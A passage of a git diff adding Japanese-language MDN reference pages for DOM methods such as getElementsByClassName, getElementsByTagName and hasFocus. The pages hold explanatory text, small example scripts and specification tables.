'testqq'; +var el = document.getElementById('testqq'); // el は null になります +</pre> + +<p><strong>HTML 以外の文書</strong>の場合。 DOM の実装では、どの属性が ID 類であるかを示す情報が必要です。 "id" という名前の属性は、文書の DTD で定義されていない限り ID 類とみなされません。 <code>id</code> 属性は <a href="/ja/docs/XHTML" title="ja/docs/XHTML">XHTML</a>, <a href="/ja/docs/XUL" title="ja/docs/XUL">XUL</a> などの一般的な場合には ID 類として定義されています。属性が ID 類であるかどうかが分からない実装では、 <code>null</code> を返すでしょう。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>インターフェイスの初回定義</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>DOM 1 の置き換え</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>DOM 2 の置き換え</td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-nonelementparentnode-getelementbyid','getElementById')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>DOM 3 を置き換える予定</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getElementById")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document")}}: 文書内で要素への参照を取得するために使うことができる他のメソッドやプロパティで使用するための参照。</li> + <li>{{domxref("Document.querySelector()")}}: <code>'div.myclass'</code> のようなセレクターを通したクエリのためのもの。</li> + <li><a href="/ja/docs/xml/xml:id" title="ja/docs/xml/id">xml:id</a> - <code>getElementById()</code> による XML 文書 (Ajax 呼び出しによって返されるものなど) の 'xml:id' の取得を可能とする便利なメソッドを持つ</li> +</ul> diff --git a/files/ja/web/api/document/getelementsbyclassname/index.html b/files/ja/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..c6d15426ac --- /dev/null +++ b/files/ja/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,138 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - DOM Element Methods + - Element + - HTML5 + - Method + - Reference + - メソッド +translation_of: Web/API/Document/getElementsByClassName +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>getElementsByClassName</code></strong> メソッドは、<span class="seoSummary">指定されたクラス名をすべて持つすべての子要素の配列風オブジェクトを返します。</span> {{domxref("document")}} オブジェクトに対して呼び出したときは、ルートノードを含む文書全体が検索されます。任意の要素に対して {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} を呼び出すこともできます。その場合は、指定されたルート要素下の指定されたクラス名を持つ要素だけを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByClassName(<var>names</var>); // または +var <var>elements</var> = <var>rootElement</var>.getElementsByClassName(<var>names</var>);</pre> + +<ul> + <li><var>elements</var> は、見つかった要素の生きた {{domxref("HTMLCollection")}} です。</li> + <li><var>names</var> は文字列で、一致させるクラス名を表します。複数のクラス名はホワイトスペースで区切ります。</li> + <li>{{domxref("Element.getElementsByClassName", "getElementsByClassName")}} は、 {{domxref("document")}} だけでなく、任意の要素に対して呼び出すことができます。呼び出した要素が検索のルートとして使われます。</li> +</ul> + +<h2 id="Examples" name="Examples">例</h2> + +<p>'test' クラスを持つすべての要素を取得します。</p> + +<pre class="brush: js">document.getElementsByClassName('test')</pre> + +<p>'red' および 'test' クラスを両方持つすべての要素を取得します。</p> + +<pre class="brush: js">document.getElementsByClassName('red test')</pre> + +<p>'main' という ID を持った要素の中にある、 'text' クラスを持つすべての要素を取得します。</p> + +<pre class="brush: js">document.getElementById('main').getElementsByClassName('test')</pre> + +<p>'test' クラスを持つ最初の要素を取得し、一致する要素がなければ <code>undefined</code> になります。</p> + +<pre class="brush: js">document.getElementsByClassName('test')[0]</pre> + +<p>メソッドの <var>this</var> 値として {{domxref("HTMLCollection")}} を渡すことで、 Array プロトタイプのメソッドを <code>HTMLCollection</code> で使用することができます。ここでは、 'test' クラスを持つすべての div 要素を検索します。</p> + +<pre class="brush: js">var testElements = document.getElementsByClassName('test'); +var testDivs = Array.prototype.filter.call(testElements, function(testElement){ + return testElement.nodeName === 'DIV'; +});</pre> + +<h3 id="Get_the_first_element_whose_class_is_test" name="Get_the_first_element_whose_class_is_'test'">クラスが 'test' である最初の要素を取得する</h3> + +<p>これは最もよく使われる操作のメソッドです。</p> + +<pre><html> +<body> + <div id="parent-id"> + <p>hello world 1</p> + <p class="test">hello world 2</p> + <p>hello world 3</p> + <p>hello world 4</p> + </div> + + <script> + var parentDOM = document.getElementById("parent-id"); + + var test = parentDOM.getElementsByClassName("test"); // 一致する要素のリストであり、要素自身では*ない* + console.log(test); //HTMLCollection[1] + + var testTarget = parentDOM.getElementsByClassName("test")[0]; // 求める最初の要素 + console.log(testTarget); //<p class="test">hello world 2</p> + </script> +</body> +</html></pre> + +<h3 id="Multiple_Classes_Example" name="Multiple_Classes_Example">複数のクラスの例</h3> + +<p><code>document.getElementsByClassName</code> は <code>document.querySelector</code> や <code>document.querySelectorAll</code> ととても似た動きをします。指定されたクラス名がすべてある要素のみが選択されます。</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><span class="orange fruit">Orange Fruit</span> +<span class="orange juice">Orange Juice</span> +<span class="apple juice">Apple Juice</span> +<span class="foo bar">Something Random</span> +<textarea id="resultArea" style="width:98%;height:7em"></textarea></pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js">// getElementsByClassName は指定された両方のクラスを持つ要素のみを選択する +var allOrangeJuiceByClass = document.getElementsByClassName('orange juice'); +var result = "document.getElementsByClassName('orange juice')"; +for (var i=0, len=allOrangeJuiceByClass.length|0; i<len; i=i+1|0) { + result += "\n " + allOrangeJuiceByClass[i].textContent; +} + + +// querySelector は完全一致で選択する +var allOrangeJuiceQuery = document.querySelectorAll('.orange.juice'); +result += "\n\ndocument.querySelectorAll('.orange.juice')"; +for (var i=0, len=allOrangeJuiceQuery.length|0; i<len; i=i+1|0) { + result += "\n " + allOrangeJuiceQuery[i].textContent; +} + +document.getElementById("resultArea").value = result;</pre> + +<h4 id="Result" name="Result">結果</h4> + +<p>{{EmbedLiveSample('Multiple_Classes_Example', '100%', 200)}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-getelementsbyclassname', 'document.getElementsByClassName')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getElementsByClassName")}}</p> diff --git a/files/ja/web/api/document/getelementsbyname/index.html b/files/ja/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..69a10b1b88 --- /dev/null +++ b/files/ja/web/api/document/getelementsbyname/index.html @@ -0,0 +1,99 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +tags: + - API + - DOM + - Document + - HTML + - Method + - Reference + - getElementByName + - メソッド +translation_of: Web/API/Document/getElementsByName +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} オブジェクトの <strong><code>getElementsByName()</code></strong> メソッドは、文書内で指定した {{domxref("element.name","name")}} を持つ要素の {{domxref("NodeList")}} コレクションを返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>elements</var> = document.getElementsByName(<var>name</var>); +</pre> + +<ul> + <li><var>elements</var> は、生きた {{domxref("NodeList")}} コレクション、つまり文書内で同じ <code>name</code> を持った新しい要素が追加されたり削除されたりすると自動的に更新されるものです。</li> + <li><code>name</code> は、要素の <code>name</code> 属性の値です。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<title>document.getElementsByName の使用例</title> + +<input type="hidden" name="up"> +<input type="hidden" name="down"> + +<script> + var up_names = document.getElementsByName("up"); + console.log(up_names[0].tagName); // "INPUT" と表示 +</script> +</html> +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>{{domxref("element.name","name")}} 属性は、(X)HTML 文書にのみ適用可能です。</p> + +<p>返却された {{domxref("NodeList")}} コレクションには、 {{htmlelement("meta")}} や {{htmlelement("object")}} など、それに <code>name</code> 属性にまったく対応していない要素も含め、指定された <code>name</code> を持つ<em>すべての</em>要素が含まれます。</p> + +<div class="warning"> +<p><strong>getElementsByName</strong> メソッドは、 IE10 以前では動作が異なります。この場合、 <code>getElementsByName()</code> は指定された <a href="/ja/docs/Web/HTML/Global_attributes/id"><code>id</code> 属性</a>を持つ要素も返します。 <code>name</code> および <code>id</code> で同じ文字列を使用しないように注意してください。</p> +</div> + +<div class="warning"> +<p><strong>getElementsByName</strong> メソッドは IE では動作が異なります。この場合、 <code>getElementsByName()</code> は <code>name</code> 属性を許容しない要素 (<code><span></code> など) を返しません。</p> +</div> + +<div class="warning"> +<p>IE および Edge では、 {{domxref("NodeList")}} ではなく {{domxref("HTMLCollection")}} を返します。</p> +</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getElementsByName")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.getElementById()")}} : 固有の <code>id</code> を持つ要素への参照を返す</li> + <li>{{domxref("document.getElementsByTagName()")}} : 同じ<a href="/en-US/docs/Web/API/Element/tagName">タグ名</a>の要素への参照を返す</li> + <li>{{domxref("document.querySelector()")}} : <code>'div.myclass'</code> のような CSS セレクターによって要素への参照をかえす</li> +</ul> diff --git a/files/ja/web/api/document/getelementsbytagname/index.html b/files/ja/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..b985b9564d --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,128 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/getElementsByTagName +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>getElementsByTagName</code></strong> は {{domxref("Document")}} インターフェイスのメソッドで、<span class="seoSummary">指定されたタグ名を持つ要素の {{domxref("HTMLCollection")}} を返します。</span>ルートノードを含めた文書全体が検索されます。返された <code>HTMLCollection</code> は生きたものであり、つまり <code>document.getElementsByTagName()</code> を再度呼び出さなくても DOM ツリーと同期を取り続けるよう、自動的に自分自身を更新します。.</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>elements</var> = document.getElementsByTagName(<var>name</var>);</pre> + +<ul> + <li><var>elements</var> は生きた {{domxref("HTMLCollection")}} であり、見つかった要素がツリーに出現する順に並んでいます (ただし、下記のメモを見てください)。</li> + <li><var>name</var> は文字列で、要素の名前を表します。特殊な文字列 "*" は全ての要素を表します。</li> +</ul> + +<div class="note"><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">最新の W3C 仕様書</a> では <code>elements</code> は <code>HTMLCollection</code> です。しかし、 WebKit ブラウザーではこのメソッドは {{domxref("NodeList")}} を返します。詳しくは {{bug(14869)}} を見てください。</div> + +<h2 id="Example" name="Example">例</h2> + +<p>以下の例では、 <code>getElementsByTagName()</code> は特定の親要素から開始し、その親要素から DOM を上から下へ再帰的に検索し、タグが <code>name</code> パラメータと一致する子要素を探します。これは <code>document.getElementsByTagName()</code> と、機能的に同等な {{domxref("Element.getElementsByTagName()")}} は、 DOM ツリー内の特定の要素から検索を始めることを示します。</p> + +<p>ボタンをクリックすると <code>getElementsByTagName()</code> を使用して、特定の親 (文書自体または2つの {{HTMLElement("div")}} 要素の何れかに囲まれたもの) の子孫の段落要素を数えます。</p> + +<pre class="brush:html notranslate"><!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8" /> + <title>getElementsByTagName example</title> + <script> + function getAllParaElems() { + var allParas = document.getElementsByTagName('p'); + var num = allParas.length; + alert('この文書には ' + num + ' 個の段落があります'); + } + + function div1ParaElems() { + var div1 = document.getElementById('div1'); + var div1Paras = div1.getElementsByTagName('p'); + var num = div1Paras.length; + alert('#div1 には ' + num + ' 個の段落があります'); + } + + function div2ParaElems() { + var div2 = document.getElementById('div2'); + var div2Paras = div2.getElementsByTagName('p'); + var num = div2Paras.length; + alert('#div2 には' + num + ' 個の段落があります'); + } + </script> +</head> +<body style="border: solid green 3px"> + <p>Some outer text</p> + <p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + + <p>Some outer text</p> + <p>Some outer text</p> + + <button onclick="getAllParaElems();"> + 文書内のすべての p 要素を表示</button><br /> + + <button onclick="div1ParaElems();"> + div1 要素内のすべての p 要素を表示</button><br /> + + <button onclick="div2ParaElems();"> + div2 要素内のすべての p 要素を表示</button> + +</body> +</html> +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>HTML 文書上で呼び出された場合、 <code>getElementsByTagName()</code> は処理前に引数を小文字に変換します。これは HTML 文書内のサブツリーにあるキャメルケースの SVG 要素に一致させようとする場合には望ましくありません。この場合は {{Domxref("document.getElementsByTagNameNS()")}} が便利です。 {{Bug(499656)}} を参照してください。</p> + +<p><code>document.getElementsByTagName()</code> は、検索が文書全体を含むという点以外は {{domxref("Element.getElementsByTagName()")}} と類似しています。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-getelementsbytagname','document.getElementsByTagName')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getElementsByTagName")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Element.getElementsByTagName()")}}</li> + <li>{{domxref("document.getElementById()")}} : <code>id</code> によって検索した要素への参照を返す</li> + <li>{{domxref("document.getElementsByName()")}} : <code>name</code> によって検索した要素への参照を返す</li> + <li>{{domxref("document.querySelector()")}} : <code>'div.myclass'</code> のような CSS セレクターによって要素への参照を返す</li> +</ul> diff --git a/files/ja/web/api/document/getelementsbytagnamens/index.html b/files/ja/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..99e4bab452 --- /dev/null +++ b/files/ja/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,164 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - Method + - NeedsMarkupWork + - NeedsSpecTable + - Reference + - getElementsByTagNameNS +translation_of: Web/API/Document/getElementsByTagNameNS +--- +<div>{{APIRef("DOM")}}</div> + +<p>指定された名前空間の指定されたタグ名を持つ要素のリストを返します。ルートノードを含め、文書全体が検索されます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>elements</var> = document.getElementsByTagNameNS(<var>namespace</var>, <var>name</var>) +</pre> + +<ul> + <li><var>elements</var> は見つかった要素の生きた {{DOMxRef("NodeList")}} (但し下記のメモを参照) で、ツリーに現れる順です。</li> + <li><var>namespace</var> は検索する要素の名前空間 URI です ({{domxref("Node.namespaceURI", "element.namespaceURI")}} を参照)。</li> + <li><var>name</var> は検索する要素の局所名、またはすべての要素に一致する特殊な値 <code>*</code> です ({{domxref("Node.localName", "element.localName")}} を参照)。</li> +</ul> + +<p class="note"><strong>注:</strong> W3C の仕様書では <code>elements</code> は <code>NodeList</code> であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は <code>NodeList</code> を返しますが、 <code>namedItem</code> メソッドを実装しているので、 <code>HTMLCollection</code> と同様になります。2012年1月時点で、 WebKit ブラウザーのみが純粋な <code>NodeList</code> の値を返します。詳しくは <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=14869">bug 14869</a> を参照してください。</p> + +<p class="note"><strong>注:</strong> 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは <a href="/ja/docs/Mozilla/Firefox/Releases/3.6#DOM">Firefox 3.6 の開発者リリースノート</a>および {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>以下の例では、 <code>getElementsByTagNameNS</code> は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの <code>name</code> が引数に一致する子要素を検索します。</p> + +<p>なお、 <code>getElementsByTagName</code> が呼び出されたノードが <code>document</code> ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。</p> + +<p>以下の例を使用するには、新しいファイルにそのままコピー＆ペーストして、 .xhtml の拡張子で保存してください。</p> + +<pre class="brush: html notranslate"><html xmlns="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"> + +<head> +<title>getElementsByTagNameNS example</title> + +<script type="text/javascript"> + +function getAllParaElems() +{ + var allParas = document.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = allParas.length; + + alert("There are " + num + " &lt;p&gt; elements in this document"); +} + + +function div1ParaElems() +{ + var div1 = document.getElementById("div1") + var div1Paras = div1.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div1Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div1 element"); +} + + +function div2ParaElems() +{ + var div2 = document.getElementById("div2") + var div2Paras = div2.getElementsByTagNameNS("<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>", "p"); + + var num = div2Paras.length; + + alert("There are " + num + " &lt;p&gt; elements in div2 element"); +} + +</script> +</head> + +<body style="border: solid green 3px"> +<p>Some outer text</p> +<p>Some outer text</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Some div1 text</p> + <p>Some div1 text</p> + <p>Some div1 text</p> + + <div id="div2" style="border: solid red 3px"> + <p>Some div2 text</p> + <p>Some div2 text</p> + </div> + </div> + +<p>Some outer text</p> +<p>Some outer text</p> + +<button onclick="getAllParaElems();"> + show all p elements in document</button><br /> + +<button onclick="div1ParaElems();"> + show all p elements in div1 element</button><br /> + +<button onclick="div2ParaElems();"> + show all p elements in div2 element</button> + +</body> +</html> +</pre> + +<h2 id="Potential_Workaround_for_other_browsers_which_do_not_support" name="Potential_Workaround_for_other_browsers_which_do_not_support">対応していないブラウザーでの代替方法</h2> + +<p>要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、<a class="external" href="http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js">このラッパークラス</a>のように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。</p> + +<pre class="brush: js notranslate">function getElementsByTagNameNSWrapper (ns, elName, doc, context) { + if (!doc) { + doc = document; + } + if (!context) { + context = doc; + } + + var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + + var a = []; + for(var i = 0; i < result.snapshotLength; i++) { + a[i] = result.snapshotItem(i); + } + return a; +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.getElementsByTagNameNS")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{DOMxRef("Element.getElementsByTagNameNS()")}}</li> +</ul> diff --git a/files/ja/web/api/document/getselection/index.html b/files/ja/web/api/document/getselection/index.html new file mode 100644 index 0000000000..b1c947ef61 --- /dev/null +++ b/files/ja/web/api/document/getselection/index.html @@ -0,0 +1,12 @@ +--- +title: document.getSelection +slug: Web/API/Document/getSelection +tags: + - DOM + - Document + - Reference + - Selection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +<p>DOM の <code>getSelection()</code> メソッドは、 {{domxref("Window")}} インタフェース及び {{domxref("Document")}} インタフェースで利用可能です。<br> + 詳細については {{domxref("window.getSelection()")}} の頁を参照して下さい。</p> diff --git a/files/ja/web/api/document/gotpointercapture_event/index.html b/files/ja/web/api/document/gotpointercapture_event/index.html new file mode 100644 index 0000000000..d91c7a9026 --- /dev/null +++ b/files/ja/web/api/document/gotpointercapture_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Document: gotpointercapture イベント' +slug: Web/API/Document/gotpointercapture_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - gotpointercapture + - イベント + - ウェブ +translation_of: Web/API/Document/gotpointercapture_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>gotpointercapture</code></strong> イベントは、要素が {{domxref("Element.setPointerCapture", "setPointerCapture()")}} を使用してポインターをキャプチャしたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例は <code><p></code> 要素を取得し、 <code>gotpointercapture</code> イベントを待ち受けします。 <code>setPointerCapture()</code> を <code>pointerdown</code> イベントの要素上で呼び出し、 <code>gotpointercapture</code> を発生させます。</p> + +<pre class="brush: js">const para = document.querySelector('p'); + +document.addEventListener('gotpointercapture', () => { + console.log('I\'ve been captured!') +}); + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +}); +</pre> + +<p>同じ例ですが、 <code>ongotpointercapture</code> イベントハンドラーを使用して行います。</p> + +<pre class="brush: js">const para = document.querySelector('p'); + +document.ongotpointercapture = () => { + console.log('I\'ve been captured!') +}; + +para.addEventListener('pointerdown', (event) => { + para.setPointerCapture(event.pointerId); +});</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-gotpointercapture-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.gotpointercapture_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント + <ul> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + </ul> + </li> + <li>{{domxref("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/gotpointercapture_event", "gotpointercapture")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/hasfocus/index.html b/files/ja/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..6ff543ee08 --- /dev/null +++ b/files/ja/web/api/document/hasfocus/index.html @@ -0,0 +1,95 @@ +--- +title: document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference + - フォーカス + - メソッド +translation_of: Web/API/Document/hasFocus +--- +<div>{{APIRef}}</div> + +<p><code><strong>hasFocus()</strong></code> は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。</p> + +<div class="note"> +<p>文書を見ている時、文書内でフォーカスを持つ要素は常に<a href="/en-US/docs/Web/API/DocumentOrShadowRoot/activeElement">アクティブ要素</a>ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>focused</var> = <var>document</var>.hasFocus();</pre> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>文書内のアクティブ要素にフォーカスがない場合は <code>false</code> が、文書内のアクティブ要素にフォーカスがある場合は <code>true</code> が返ります。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>この例は、文書がフォーカスを持っているかどうかを300ミリ秒ごとに検査します。 <code>hasFocus()</code> の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p id="log">Awaiting focus check.</p> +<button onclick="openWindow()">Open a new window</button></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">function checkPageFocus() { + let body = document.querySelector('body'); + let log = document.getElementById('log'); + + if (document.hasFocus()) { + log.textContent = 'This document has the focus.'; + body.style.background = '#fff'; + } + else { + log.textContent = 'This document does not have the focus.'; + body.style.background = '#ccc'; + } +} + +function openWindow() { + window.open('https://developer.mozilla.org/', 'MDN', 'width=640,height=320,left=150,top=150'); +} + +// Check page focus every 300 milliseconds +setInterval(checkPageFocus, 300);</pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{EmbedLiveSample("Example")}}</p> + +<h2 id="Specification" 